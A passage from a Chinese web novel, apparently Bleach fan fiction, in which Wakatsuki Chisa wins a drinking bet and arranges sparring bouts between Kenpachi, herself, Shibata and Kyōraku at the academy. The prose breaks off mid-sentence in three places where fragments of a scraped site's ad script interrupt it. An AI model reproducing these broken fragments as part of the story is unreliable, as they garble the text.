他闭上眼睛回想片刻,脑袋里的零碎画面终于串联在一起,触发了他的回忆。 “原来如此,被算计了呢。真是不能大意啊。不知道柴田老师……不,结果很明显。” 京乐春水凝视着若月千纱身旁或立或倒的空酒瓶们,大概推测出昨夜的情况。 他眯着眼睛看了看天空,扶着刺痛的脑袋,从地上爬了起来,踉踉跄跄地走到柴田木原身边,用力推了推他的身体:“柴田老师,快起来,天亮了。” 在被人发现之前,他们得收拾好一地烂摊子,离开这个训练场。 柴田木原被摇醒了,睁开惺忪的醉眼:“京乐?你怎么在这里?” 这人明显还没醒酒,脑子还浑浑噩噩的。 京乐春水简单地向他说明情况。 “若月那家伙……!我去把她叫醒,一起处理地上的东西……” “算了,让她多睡一会儿吧,她后来应该又喝了不少酒。对女孩子要温柔一点。” “可恶,为什么那个罪魁祸首能舒舒服服地躺着,我却得干活啊——” 两人忍着不适,苦哈哈地把酒坛和酒瓶毁尸灭迹。而后,两人叫醒若月千纱,赶在学生们清醒之前,各自回到宿舍洗漱,洗掉身上浓重的酒臭味。 当夜,三人默契地空着手,在老地方碰头。 昨夜大醉一场,他们的身体仍有些不适,今日不想再饮酒了。 至于三人不喝酒却相见的理由—— “你这坏蛋,竟然暗自设局,靠卖惨引诱我们入局,太过分了!不过,谁让我们不慎掉入陷阱,又喝不过你。这时候耍赖太难看了,我也要脸皮的。” “哦呀,摊上麻烦事了呢。说吧,你的请求是——?” 45.第四十五章 “抱歉抱歉,我也是没办法嘛。如果只是普通的请求,你们一定会拒绝我的。原谅我吧,不会有下一次了。”若月千纱在脸颊前双手合十,向他们讨饶,“我的请求也不过分,不会让你们做出伤害他人或有违自己道义的事情——请你们分别与我和剑八认认真真战斗一回吧!” “哈?就这?” “什么?” 若月千纱为了达成目标又是下套又是放血,柴田木原和京乐春水原以为她的请求既艰且难,做了半天的心理建设。不料,她的请求出乎意料的简单,两人一时间有些心理落差。 “诶?看你们的反应……我不会做了什么多余的事情了吧?”若月千纱愕然,目光一亮,“难不成,只要我诚心诚意地拜托你们,你们就会答应我的请求了吗?” “不不不,那是不可能的。” “我最怕麻烦了,也不喜欢战斗。” 两人矢口否认,生怕若月千纱产生误会,日后三天两头找他们打架。以她和更木剑八对战斗的热忱,这种想法并非不可能。 “什么嘛,我还以为以后可以随时和你们切磋了……”若月千纱失望地撇了撇嘴,“白高兴一场了。嘛,先不说那些,我的请求,你们愿意接受吗?” “这不是愿不愿意的问题,愿赌服输啊。” “当然不愿意,怎么能和女孩子战斗呢。不过,答应好的事情总不能反悔吧。” “我就知道你们都是守信之人!说好了,战斗中不许放水!特别是你,京乐前辈!” “是是是,我知道了。” 三人凑在一起讨论了一番,定下了约定之日。 次日,若月千纱将好消息带给了更木剑八。 “看吧,我没骗你吧?我就说了,总会找到机会让你如愿的。” 更木剑八一听此事,战意勃发。那焚烧着的锋锐战意有如实质,刺痛了周围学生们的皮肤。他们看了眼源头,搓了搓手臂,恨不得离他远点,却碍于上课时间将至,只能坐在固定的座位上,无法逃离原地。 “嗯,你不会骗我。到时候我先上!” “臭小子,又跟我抢!不过,这次由你,我本来就不打算和你争顺序。”若月千纱笑了笑,眼神落寞,放低声音,“说好了不放水,可我没本事和巅峰状态的他们多战几个回合啊。” 她也想打头阵,可惜,她不是更木剑八那种天才,抵达不到某个领域的极致,她的实力不允许她任性。 她恨恨地瞪了一眼不离不弃的蓝紫色蝴蝶。 都怪这该死的系统! 假如她的成长没被禁锢,她就能学会鬼道。哪怕只是初级鬼道,也能让她多出无数种攻击及防御的组合手段,让她拥有一战之力。 约定之日。 若月千纱带更木剑八提前到达约定地点,柴田木原和京乐春水如约而至。 “跟我来。” 柴田木原把三人带进属于他的教师专用的“训练室”——一处地底深处挖出的巨洞里。 若月千纱惊叹连连:“呜哇,这地方太棒了吧?空间又大又通风,还很明亮,隐秘性一流,不用担心里面的动静传到外面,真是修炼和对战的绝佳场所!” 柴田木原语气遗憾:“可惜这里是个封闭空间,赏不了月吹不了风,不适合饮酒作乐。” 更木剑八对身处的环境毫无兴趣,抽出腰间的浅打,指向二人:“你们谁先上?” 进入真央灵术院后,在大环境的影响下,更木剑八终于用起了武器——虽然他还是不愿意学习斩术。 “我先来,速战速决。”柴田木原越众而出,扭头看向若月千纱,“不放水,你确定?不后悔?输了之后不会怪我以大欺小,或者缠着我再打几场吧?” 更木剑八握紧刀柄:“战斗就是全力以赴的厮杀。不用放水,来吧!” 若月千纱点了点头:“我们求的是竭尽全力的战斗,而非点到为止的打闹,别小看我们对战斗的觉悟啊!” “那就别怪我手下不留情啦!京乐,若月,你们离得远一些。” 京乐春水和若月千纱照做了。 这里空间够大,足够两人另开一场战斗,可他们谁也没开这个口,默默地在一旁观战。 在两人离开战斗范围后,无人宣布战斗开始,对峙的两人却同时有了动作。 更木剑八飞快地冲向柴田木原,举起浅打,切开空气,携着千钧之势,砍向他的脖颈。 “嚯,危险危险,一上来就想要我的命吗?”柴田木原一点都不敢大意,稳住下盘,挥动斩魄刀架住浅打,“这力气可不是开玩笑的。” 他的斩魄刀一出鞘,就来了个大变样,刀刃伸长弯曲呈月牙状,厚度薄如蝉翼,刀光潋滟,如同一泓盈盈的月光。 若月千纱不由得感慨:“哇,好漂亮的斩魄刀!给柴田老师用,真是浪费了它的美貌!” “舞动吧,月辉!” 始解语一出,柴田木原手中的斩魄刀自刀柄往下消失不见,无形无影。 “我的斩魄刀刀刃不仅能隐形,还会变形,我劝你别枉送了性命!”柴田木原手持刀柄挥舞向无人处,只听一声巨响,离他两三米开外的一块大石头突然裂成两半,裂口处整整齐齐,刀痕明显,“小鬼,最后给你一次机会。不想被切成两半的话,就认输吧!” 若月千纱捧脸尖叫:“啊啊啊,这把斩魄刀太犯规了吧?这要让人怎么打!” 她并不意外柴田木原会解放斩魄刀,毕竟她所求的就是毫无保留的战斗。可是,斩魄刀的能力千千万,她没想到竟会摊上如此棘手的一把。 有形的攻击好挡,无形的攻击难防。对偏科严重的若月千纱和更木剑八而言,这把看不见的攻击的斩魄刀可谓是天生克星。 “怎么,怕了吗?那就投降吧,换京乐来。”柴田木原求之不得。 “不,战斗继续!”更木剑八看到柴田木原示范性的一击后,非但没有退缩,身上的战意反倒越发浓厚,露出见猎心喜的笑容,“来吧!” “啧,这都吓不跑你么,真是不要命的战斗狂。小鬼,小心了!” “剑八——唔……”若月千纱惊叫出声后忽觉不对,双手捂紧自己的嘴巴,不敢发出一丝声音。 她和剑八都喜欢战斗,但和总喜欢留一条后路、惜命的她不同,剑八在战斗时总是不留余地。年幼懵懂时,他尚且懂得逃跑、为自己寻求一线生机;年纪渐长后,他却 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 越发不顾惜生命,只追求战斗的快感。正如他自己所言,战斗于他,是不顾一切的厮杀。 自小到大,她对他耳提面命,向他灌输保命思想,至今收效见微,只是一直在他身边,在真正要命的时候拦住他。 可是,这次不一样。贸然冲进看不见攻击的战场,不仅她有生命危险,还可能牵累更木剑八分心,反倒害他陷入危机。此时此刻,她只能信任更木剑八的实力和柴田木原的控制力,等他们分出胜负。 她唯一能做到的,就是消除自己的存在感,不发出任何声音干扰这场战斗。 柴田木原的斩魄刀确实厉害,但并非无解。可以变换形状的无形刀刃确实无法映入视野,但刀刃破空的细微风声能用耳朵捕捉得到,风阻改变的空气流向能用身体感受得到。 换做别人,或许感知不到这些细微的情报;就算感知到了,也来不及躲开攻击。但是,更木剑八是战斗天才,他的战斗直觉、身体本能值得信任。更何况,他进入真央灵术院后,战斗的次数不少,实力较之前有了极大的进步。 她要借助这场战斗,通过更木剑八的应对,尽量分析出柴田木原的战斗习惯、摸清月辉的攻击方式和极限——这是她在确认自己的成长受限后,为自己规划的战斗路线——从正面莽一波的热血战过渡向分析战局捕捉胜机的头脑战。 当然,这不是一朝一夕能做到的事情,她尚在尝试之中。 这是迫不得已的尝试——既已进入真央灵术院,成为死神候补生,她未来遭遇的对手只会越来越强、比她更强。哪怕牺牲掉对战斗的部分热情,她也必须有所改变,以谋求胜利。 若月千纱全神贯注地观看着这场战斗。 更木剑八没有辜负她的信任。在几次挂彩之后,他彻底习惯了月辉的攻击,动作越来越流畅。 柴田木原嘴上说着不会留情,但依然顾忌更木剑八的安危,生怕不小心伤到他的性命,收着动作不敢乱来。但是,更木剑八的表现令人出乎意料——他竟然挺过了他的压制,并且抓住机会和他拉近距离,进行了反攻。 更木剑八对战斗的狂热和执着不知不觉地影响了柴田木原,一点一点地挑起了他的战意,让他也跟着兴奋起来。 “这小子不得了啊,距离考核之日不过两个多月,他竟然有了如此大的成长……我再试探一二,假如他接得住攻击,我就真的不能手下留情,免得沦落为第二个佐藤。” 柴田木原试探着施展死神的四大技能,用以辅助攻击。 循序渐进的攻击让更木剑八获得了逐步适应的机会。他一向遇强则强,在柴田木原强劲实力的刺激下,竟以肉眼可见的速度进化着。 “不好,小看这个小怪物了。这下真不能放水了。” 柴田木原心下越来越认同更木剑八的实力,脸色一肃,认真道:“小鬼,接下来自求多福吧。万一被我砍断手脚,可别怪我啊!” 他不再收敛实力,放开了手脚。 十成实力一出,更木剑八顿时险象环生。 他之前已经习惯了月辉的舞动速度,能够毫发无伤地躲过它的攻击。眼下,月辉突然加速,他反应不及,身上又多出几道血淋淋的刀痕,触目惊心。 46.第四十六章 若月千纱大受刺激,心脏猛地一跳。 这已经不是她预料中稍微留有余地的战斗了! 她看得出来,柴田木原是认真的。但凡更木剑八刚才躲得稍微慢一些,此刻他已经缺手断腿了! 喂,柴田木原,说好的分寸呢—— 若月千纱看向柴田木原,愣住了。 那是一张混杂着欣赏和尊重、战意十足的脸——他打得上头了。 事到如今,可不是她喊一声“停手”就能止住战斗。 若月千纱再一次用双手捂住嘴,提心吊胆地等待结果。 幸好,这场战斗并没有维持太久。当柴田木原不再留手,胜负便已不存在悬念。 更木剑八确实很强,强得不同寻常,但他暂且不是柴田木原的对手。 更木剑八浑身浴血地昏倒在地,宣告了战斗的终结。 “剑八!” 若月千纱迅速奔上前查看他的伤情。一番小心翼翼的检查过后,她松了一口气。 更木剑八的伤口很多,有几处深可见骨,好在避开了要害,并无性命之忧。 她一边替更木剑八紧急包扎伤口,一边朝柴田木原碎碎念:“柴田老师,您下手太重啦!看,好好的一个孩子都成血人儿了!确实是我让您不要放水,可您好歹有点分寸啊,怎么能真把他伤成这样……” 把更木剑八打成重伤不是柴田木原的本意。他没料到更木剑八竟如此难缠,还挑起了他的好斗之心,导致出手狠了。看到更木剑八伤痕累累的凄惨模样,他难得生出几分心虚和愧疚,任由若月千纱不讲理地抱怨着。 “……不过,多谢您没有手下留情。剑八打得很痛快,我很久没见他笑得那么开心了。” “诶?” 柴田木原闻言一愣,有点怀疑自己的耳朵。 “真讨厌,怎么这副表情呀?我说过了,我们是抱着觉悟战斗的。只不过,剑八伤得太重,您得负责治好他,顺便治治您身上的小伤。柴田老师,京乐前辈,虽然很遗憾,但是剩下的战斗得改期了。” 二人表示理解。 “我带这小子去找医师。” “改期不是问题,如果能取消战斗就更好……” “不,我还能战斗!”更木剑八刚从昏迷中醒来就听到他们的对话,反应激烈,挣扎着起身。 “笨蛋!你身上的血都还没止住,还一心想着战斗,嫌自己流的血不够多么!给我老实躺着!” “只是被砍了几刀,舔一舔就好了,不影响我战斗!刚才的战斗太愉快了,我——” 更木剑八身体一软,重新倒回若月千纱怀里。 若月千纱若无其事地收回砍向他后颈的手刀,见柴田木原和京乐春水一脸愕然,眼睛一弯:“哎呀,这孩子就爱逞强。这不,他伤得太重,都晕过去了。” 不不不,他明明是被你打晕的!是谁一个劲抱怨别人下手狠,自己动起手来却毫不留情啊!怎么打都打不倒的皮实孩子却能被你一击放倒,你这一招到底练得有多熟练啊喂! 两人有太多可以吐槽的地方,以至于不知该从哪下口。 摊上这么一个糟心的姐姐,两人对更木剑八颇有几分同情之心。 更木剑八的伤势看着可怖,怕一路上引来不必要的麻烦和注目,柴田木原奉献出他的外套,披在更木剑八身上。 若月千纱抱着更木剑八,跟着柴田木原去找医师,京乐春水没有奉陪。 事实证明,京乐春水的偷溜行为很有预见性。 医师掀开外套,遍体鳞伤的更木剑八便暴露在他面前。他大吃一惊,迅速施展回道。在为更木剑八疗伤之余,他不忘向两人打听他的伤势来源。 在了解那些伤口是如何产生之后,他狠狠地训斥了一顿柴田·虐待儿童·木原以及若月·不负责任家长·千纱。 “胡闹!你是老师,怎么可以跟小孩子较真,下手这么狠辣!你也是,怎么不知道拦着你弟弟一点,放他胡来,你这样也算姐姐吗!?……” 两人垂着脑袋,蔫蔫的跟鹌鹑似的,乖乖听训。 作为不知轻重的教训,柴田木原身上的几道小伤口只得到粗略的包扎治疗,与一键恢复的回道无缘。 待更木剑八生龙活虎地从床上蹦跶起来后,若月千纱和柴田木原扯着他,逃难般离开原地。 回道治得好伤口,却补不了流失的血液和精力。然而,更木剑八身体刚治好,脸色依然苍白,就迫不及待地嚷嚷道:“战斗战斗!另一个对手在哪里?” 这一回,若月千纱没有纵容他。 “回去休息!等你气色好一点后,我再和京乐前辈约时间!” 更木剑八很熟悉她此刻的表情。当她露出这种表情时,他无论如此都说不动她。无奈之下,他只能改换目标:“大叔,我们再打一场?” “达咩!之前说好了,只打一场。而且,谁是大叔啊,我还很年轻呢!” “为什么?你刚才也很享受战斗!” “哎呀,我又不是你这种战斗狂。只不过,作为男人,偶尔也有热血沸腾的时候嘛!不行就是不行。有时间打架,不如悠哉悠哉地喝点小酒。” “千纱说过,作为男人,避战可耻,愧为男人!” 柴田木原扭头看若月千纱。 若月千纱耸了耸肩:“我们以前挑战别人时,总有人不肯迎战。要知道,对付某些好面子的男人,激将法很管用。” 只这一句话,柴田木原就能猜到这对战斗狂姐弟以前有多么招人厌。 他厚着脸皮道:“小鬼,激将法对我没用。我又没有避战,只是不屑和你这个手下败将交手,知道吗?” “再战斗一次,我会赢你!” “呀咧呀咧,好大的口气。可惜,我不会上你的当,都说激将法对我没用啦。再说了,你姐姐也不允许你现在动手。放弃吧,小鬼!不要总沉迷于战斗,偶尔也要享受享受生活嘛。你的年纪应该不小了,是时候尝一尝酒的滋味啰。男人就该喝酒,我带你去长长见识!” 柴田木原又想诱拐更木剑八去喝酒,但这一次,若月千纱并未出言阻止。 要问为什么…… “诶?若月怎么不见了?” 柴田木原一回头,发现若月千纱不知何时掉了队,落后他们老远,正傻傻地站在那里发呆,脑袋半垂。 他折返回去,发现她目光呆滞,神游天外,伸手在她面前挥了挥:“你在发什么呆呢?回魂了!” 若月千纱身子一凛,猛地抬起脑袋,直勾勾地盯着他的脸,眼神古怪。 “我脸上有什么脏东西吗?” 柴田木原用雪白的衣袖抹了抹脸,放下来一看,上面并没有沾上血迹或者灰尘。 若月千纱愣愣地看着他半晌,眼神一收,微微一笑:“没有脏东西,我只是好奇您的脸皮有多厚。您该向佐藤老师好好学习学习什么叫师德,别总是诱拐别人家的弟弟不干好事呢!” 柴田木原辩解道:“男人怎么可以不会喝酒?我这是教他成长为一个顶天立地的男子汉!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“您就瞎扯吧。”若月千纱呵呵一笑,往旁边扫了两眼,压低声音,“我们之间的对战就安排在下一场对战之前吧,就我们两个,不要带上他们。” “你怕输得太难看,在他们面前丢面子?” “哎呀,您什么时候能温柔体贴一些呢?这种话默默地放在心里就行,不用特意说出来……不对,剑八呢?” 她刚才特意确认过剑八不在身边,才敢和柴田木原约时间。可是,剑八应该在他们身边才对啊! 柴田木原语气平淡:“哦,刚才我回头找你,忘了叫他一声,他可能没听见,往前走了。” 若月千纱转动脑袋,没在视线范围内看到更木剑八。 坏了! “嗯?你在慌张什么啊?他身上的伤都治好了,不会在半路晕倒,你对你弟弟过度保护了吧。” “和那个没关系!”若月千纱向前跑去,“快帮我一起找人!剑八是个超级大路痴啊!” “哈?那也不可能迷路吧,我们学校也不大啊,他都在这里生活两个多月了……” 柴田木原颇觉匪夷所思,但若月千纱的样子不像在开玩笑,他便跟着一起行动起来。 然后,他涨了见识。 他和更木剑八才分开一小会儿,竟然真的找不到人了! 两人在校园内奔走许久,终于在一个莫名其妙的旮旯角落找到了失散的更木剑八。 更木剑八见到他们,还抱怨了一句:“你们走得好慢。” 很显然,他认为他走在正确的道路上。 若月千纱和柴田木原对视一眼,无语凝噎。 之后,若月千纱带着更木剑八去食堂大吃大喝补身体,与柴田木原分道扬镳。 几日后,若月千纱和柴田木原瞒着更木剑八和京乐春水,在之前的那个训练室里展开对战。 对战前,若月千纱示弱道:“我上次见识到您的厉害了,说实话,您的实力和我天差地别。我没有剑八那么快的反应速度,所以,您务必手下留情,出手别那么狠辣,我可不想变成两截呐!” 柴田木原嬉笑道:“是谁之前说不要放水呢?” 若月千纱面不改色:“是我。我也喜欢战斗,不过,我更珍惜我的小命。对我来说,战斗只要足够痛快就行了,不必分出生死。碾压式的战斗有什么意思呢?我又没有受虐倾向。” “难怪你非要偷偷摸摸和我约战。这种话,你不好在你弟弟面前说吧?” “是的。剑八和我不同,对战斗的热爱比我更纯粹,向来不畏生死。在他面前表现出贪生怕死的模样,我不要面子的吗?” 柴田木原扑哧一笑:“明白了,我会手下留情的。” “啊,对了,放水归放水,请您解放斩魄刀吧。我从未直面过斩魄刀的威力,一直很期待这次对战呢!” “要求真多。” “谁让我赢了赌注,您就答应我吧。” “好好好,答应你。” 若月千纱和更木剑八对战斗的执着程度不同。和她对战,柴田木原比较没有心理负担,不怕她输了之后一直缠着自己不放,因此愿意答应她的请求。 他看得出来,促使若月千纱设下赌局的原因,一大半是为了满足更木剑八的愿望,剩下的一小半才出自于她的私心。 可惜,他猜对了大部分事实,却遗漏了一小部分的真相。 若月千纱的一番请求并没有表面上那么简单。他误判了一部分真相,导致他警惕心不足,在之后的对战中狠狠地栽了个跟头。 47.第四十七章 柴田木原没有食言,收敛部分实力,解放了斩魄刀。 看着柴田木原手中那一小截刀柄,若月千纱的脑海里不由得勾勒起无形刀刃的模样。它现在有没有变形?是保持原样蛰伏着,等待一击见血的时机,还是已经变换了形状,对准了她的要害,她此刻正命悬一线? 若月千纱稍微一细想,便觉得头皮发麻。她的皮肤泛起一阵阵刺痛感,有种被刀尖舔舐的错觉,让她的心战栗不已。 “嘶——无影无形的刀刃,无处不在的危机。就算做足心理准备,也嫌不够啊。” 五米。她认认真真地旁观了柴田木原和更木剑八的战斗,根据他们交手时的各个细节进行分析,推测出一个结论——柴田木原那把斩魄刀的刀刃有变形限制,虽伸缩自如,但极限长度不超过五米。 若她的猜测不假,只要保持五米开外的站位,月辉无法对她造成威胁。然而,五米之外并非安全区,缺乏远程攻击手段的她将彻底沦为鬼道的靶子,疲于奔命,没有一丝还手之力。 她是来战斗的,不是来当移动靶子的。想要胜利,唯有近战。 她要在刀尖上起舞。 “来吧!” 若月千纱一声大喝,抽出浅打,主动拉近距离,冲向柴田木原,吹响了战斗的号角。 她无法借鉴更木剑八野兽般的战斗方式,只能转动脑筋,研究出另一种属于自己的战斗风格。 她向四面八方快速地挥舞着浅打,速度快如闪电。刀身在空中留下的一道道残影连成一片,如同圆形的防护罩,将她大半个人笼罩起来,水泼不进。 “哦?不错嘛!” 柴田木原赞了一句,右手一挥,无形的刀刃斩向若月千纱。 “锵!” 只听一声脆响,无形刀刃短暂地和若月千纱的浅打交锋了一下,被她大力弹开。 好沉的力道! 若月千纱收紧略有点发麻的虎口,不敢停手,继续挥舞着浅打,迎接第二击的到来。 “想法挺有趣的,可惜,破绽太大了!别忘了,我的斩魄刀可以进行任意变形啊!” 柴田木原手一甩,伸长的无形刀刃如软鞭一般,在空中打了个转,刀尖绕到若月千纱背后,刺向她毫无防备的后背! “我才没忘记这件要命的事情呢!”若月千纱施展瞬步,瞬间移动到五米开外,调转方向,重新冲向他,“我刚才只是小小地试探了一下!” “哈哈,试探出什么结果了?” “那个……您确实手下留情了!我就不客气地上啦!” “提醒你哦,我也会瞬步。” “明白!” 两人如同两道闪电,不停地交错、分离。 若月千纱的策略很简单,倚靠的不外乎两个字,那就是——速度! 她把速度提升到极致,一边挥刀防御一边接近柴田木原,在他进入自己的攻击范围内后一击即走,脱离他的攻击范围后重整旗鼓,再次出击。 这种战斗方式有勇无谋,高风险低收益,却是若月千纱绞尽脑汁后思索出的唯一一种可行办法。 没办法,她和柴田木原的实力相差太大,想要一边保护空门大开的后背一边和对方近身交战,简直是痴心妄想。 撇开实力高低不谈,柴田木原经历过不计其数的高水准实战,有无形的像鞭子一样灵活但又坚锐无比的斩魄刀,会辅助攻击的鬼道,她呢? 她什么都没有,只能行险,为自己谋求战斗的可能性。不这样做的话,她甚至没有一拼之力。 所幸,她对自己的挥刀速度和短距离瞬步充满自信。 系统限制了她的技能上限,让她止步不前。她转而去打磨自身身体的基础能力,以求实力精进。天下武功,唯快不破。她选择速度作为突破口,下了老大的功夫。她想尝试一下,若速度快到极致,是否真的无人能挡? 至于短距离瞬步……感谢宫泽奈奈这两个月对她的特殊照顾,她现在超级擅长360度无死角的任意短距离瞬移了呢! 她擅自书写了乐观的对战剧本,奈何,柴田木原并非剧中人,并没有跟着剧情走。 现实狠狠地教训了她一顿,让她再一次认清,自己并非更木剑八那等天才。她的计划不过是纸上谈兵,是她基于美好愿望捏造出的幻象。 她的速度快,难道柴田木原就不快了吗?这个拙劣的计划,注定无法得逞。 “啊——疼疼疼——柴田老师,您真的放水了吗?为什么还砍得到我的背?” “当然,你不会以为自己的刀幕能抵挡住我的全力攻击吧?我砍得到你的后背,自然是因为你的速度还不够快啊!换做宫泽老师,倒有希望实现这个计划。不过,就算她能靠近我,也伤不到我。” “诶?等等,拿宫泽老师作比较……你不会是选择性放水吧?其实速度根本没降?” “喂喂喂,就你这个速度,值得我耍花招吗?你对自己的速度哪来那么大自信?你还差得远呢!” “啧,中级瞬步果然不太行吗?就算如此,我也决不放弃!看招!” 后背被砍又能怎么样?反正柴田木原不会下杀手。只要性命得存,她能忍得住痛苦! 若月千纱强忍伤痛,将计划进行到底。 “又一个战斗疯子!对自己真够狠的!” 柴田木原咋舌。 若月千纱后背的刀伤越来越多,横七竖八地挨挤在一起。伤口不深,血却淌了一背,看起来触目惊心。 她的后背血肉模糊,看起来没一块好肉。柴田木原明知这些不过皮肉之伤,也不禁手软了几分。 “够了吧?打了那么久,你还认不清事实吗?就算我手下留情,你也打不过我。该住手了!再这样下去,你会失血过多的!” “我不。我的身体,我自己清楚,现在还没到山穷水尽的地步。万一真到坚持不住的时候,我会乖乖认输的。啊,您也别想故意输给我。违约的话,这次战斗作废,我们重新打上一场。” 她说得这般坚决,柴田木原只得继续战斗。 血色从若月千纱脸上一点点抽离,不止脸颊,就连她的嘴唇也开始发白。然而,即便脚步不稳,她仍勉力支撑着,依然没有停止发动攻击。 不仅如此,她这一次的进攻速度竟比之前每一次都快,而且快了不止一丁半点! “哦呀,你居然藏了一手!”柴田木原松懈了警惕,动作慢了一拍,躲闪不及,左肩被浅打划破了一层油皮,渗出几滴鲜血,“真狡猾啊!为了这出其不意的一击,你竟然把最快速度隐藏了那么久!” “兵不厌诈。实力差,只好耍这种小手段。”若月千纱遗憾地看了眼他左肩上的小伤口,喘了几口气,“可惜,就算动了歪脑筋,用了最快速度,也奈何不了您。” “反败为胜没那么简单,实力悬殊的情况下,这点小手段不管用的。” 最快速度既已暴露,没有再藏起来的必要。 若月千纱竭尽全力,用最快的速度继续计划。 “都说了,你的速度不够快。你只是把蜗牛速度提升为乌龟速度而已啊!” 柴田木原没有大放狂言,用事实证明了他的话。 无论若月千纱多快,他永远比她更快一些,让她的攻击一次次落空。 又一记刀伤落在她的背上。 若月千纱惨白着脸,脚下失力,踉跄了一下,身体前扑。她把浅打插进面前的土地稳住身体,顺势单膝跪地,靠两个支点支撑住不停颤抖的身体。 “可恶!到极限了……放水了还这么强,这像话吗?让人怎么赢啊……” 若月千纱沮丧地垂下头,嘴巴张张合合,声音越来越小声,直至微不可闻。 柴田木原看她一副快要昏厥过去的模样,怕她失血过多出了事,收刀入鞘,快步走向她:“我送你去治疗室。不过我只能送你到门口,你自己进去。我不想又挨一顿臭骂……” 他的手刚要搭上她的肩膀,就见她倏地抬起头,苍白的脸上竟挂着一抹微笑。他的身体不由一顿,心生异样。 他们的距离太近,这一顿,让他错失了躲闪的机会。 一道红色的光束从她隐藏在袖子里的左手食指上冒了出来,如闪电般束缚住他的身体,插在地上的浅打随之架在他的脖子上。 “……缚道之九·击?你不是不会鬼道吗?” “……之前确实不会,前几天突然开窍了,今天想给您一个惊喜。” 若月千纱直愣愣地看着架在他脖子上的浅打,满脸意外。 那天看到系统任务完成的蓝紫色光屏时,她也很震惊,一度怀疑系统是不是出了故障——系统任务可是让更木剑八结交朋友呐!她做梦也没想到,更木剑八和柴田木原打了一架,竟然完成了任务。 她特意藏着这一手底牌,在最近几节鬼道课上继续装麻瓜以防走漏风声,就是为了打他一个措手不及,吓他一跳——不过也仅限于此。她可没指望靠这点小手段逾越实力的鸿沟,即便对方放水放了个海。 她万万没想到,这恶作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 剧一般的使诈手段居然让她反败为胜,反倒把她狠狠地吓了一跳。 “不是吧,我赢了?喂喂喂,柴田老师,您太大意了吧!战斗时只要没彻底废除对方的战斗能力,就不能放松警惕啊!怎么能被这点小手段暗算到呢?要是我们是敌人,这会儿您的脑袋就在地上滚啦。” “你又不是真正的敌人,谁知道你命都快没了还在演戏啊?如果我们是死敌,我才不会对你放水,你早就没命了。” “哦,那倒也是。不过,真遇上您这么厉害的敌人,我早就逃跑了,不会儍到和您交手。”若月千纱收回浅打,往他身上一倒,“啊啊,要死了要死了,头好晕,身上也没力气。您快送我去治疗室!” “说好了,我只把你送到门口啊。”柴田木原胡乱往若月千纱的后背上撒了些止血药粉,小心翼翼地把自己的外套披在她肩上,把她背了起来,“抱住我的脖子,别不小心掉下去……啊,先说好了,痛也给我忍着,不许勒我的脖子。” “安心啦,我在你背上耶。要是害你摔倒,我不就成人-肉垫子啦?” “说得也是。要是你勒我脖子,我就往后倒!” “……您还能更没风度一点吗?这会儿难道不该说,就算摔倒,也会好好保护我吗?” “哦,不惜忍着一身伤痛也要阴我一把的家伙竟然需要我的保护吗?” “当然了!我可是柔弱的少女呀~痛痛痛,别乱抖啊!” “是你逗我发笑的,不能怪我。” “谁逗你了!我都快晕倒了好么,还不够柔弱吗?” “都快晕倒的人还和我斗什么嘴,乖乖闭嘴歇着!” 若月千纱撇了撇嘴,不过还是乖乖地按他说的,趴在他背上闭目养神。 头好晕,身体好乏力。 柴田木原怕她流的血太多,不停地施展瞬步,很快便将她送到治疗室门口。 他压低声音,将若月千纱放了下来:“到地方了,自己进去……啊咧?你怎么睡着了?别想我替你挨骂,快醒一醒!……不对,这是晕倒了。这个笨蛋,说什么自己的身体自己清楚,这不是闹过头了么!喂,快点帮她治疗一下,她失血过多了——” 若月千纱在一阵阵颠簸中醒了过来。 她睁开眼睛,看到一张放大的熟悉却沧桑了几岁的脸:“啊,你终于醒了。别动,我送你回宿舍。你严重失血,要好好休息几天。” “……啊,你是柴田老师的哥哥吗?” “……我看上去老了几岁对吗?你以为是谁害的!我刚才可是整整听了一个时辰的唠叨!是我想要战斗的吗?啊?为什么我非要受这份罪啊!还有你,都失血得这么严重了,为什么不肯说出来?还有闲情和我斗嘴,害我以为你真没什么事!这场无关紧要的战斗值得你这么做吗?……” 柴田木原被医师念叨得狠了,喋喋不休地抱怨着。 若月千纱闭紧嘴巴,乖乖地当一个沉默的倾听者。 看着那张沧桑疲惫的面孔,她难得产生了一丝负疚感。 待柴田木原发泄完毕,她才张开嘴巴,诚恳认错:“谢谢,还有,对不起,是我错了。不过,我真的没有刻意隐瞒糟糕的身体状态,只是当时打得上头,没注意身体超负荷,都是肾上腺激素的错……不对,这里没有这种说法——怪我兴奋过度了。” 柴田木原:“……” 这算真诚的道歉吗?他怎么觉得有些别扭啊? 沉默了一段路后,若月千纱重新张口:“柴田老师,关于今天的战斗,您记得保密啊。特别是京乐前辈,绝对不能告诉他战斗细节!” 柴田木原闻言秒懂,哭笑不得:“你不希望京乐知道你会鬼道的事情,想把施展在我身上的小手段也在他身上用一遍吧?” “情报战也是战斗的一个环节嘛。您会答应我的,对吧?” 柴田木原咧开嘴:“当然,独乐乐不如众乐乐。都是朋友,你好不容易学会鬼道的这份惊喜,他也该感受感受!” “嘿嘿嘿~” “嘿嘿嘿~” 京乐春水不知道,某人又一次把他出卖了。 他只知道,原本每天都来小酒会的若月千纱一连几日缺席,只让柴田木原带了个话,说她要在对战前闭关修行几天,暂时不参加小酒会。 几日后,出现在他面前的人脸色略显苍白。据说她这几日一直在通宵修炼,导致睡眠不足气色不佳。不过,她的精神倒是不错,还和他定下了对战之日。 对战之日就在明日。 48.第四十八章 对战之日,四人齐聚于训练室中。 第一场战斗,上场的是更木剑八和京乐春水,若月千纱和柴田木原自觉远离他们,找了处视野好的地方,等待观战。 京乐春水慢腾腾地走了两步,转头看向两个看热闹的家伙:“你们上次没有对战,不如你们先来?” 柴田木原摆了摆手:“我们另外约了时间,用不着你操心。反正你们早晚都要打一架,就不要拖时间啦。你赶紧过去吧,看,那小子都等不及了,一脸想要冲过来的神情呢。” “就是就是。打完这一架,还有下一架,你躲不过去,不如干脆一点!” 京乐春水挠了挠脸,叹气道:“唉,我又打不过那个小怪物,为什么要主动上去挨揍?挨了揍之后,还要被人趁机再揍一顿?” “哎呀,京乐前辈,说什么挨揍不挨揍的,多难听,我家剑八只是想和你痛痛快快打一场。当然,我也一样。” “噗。” 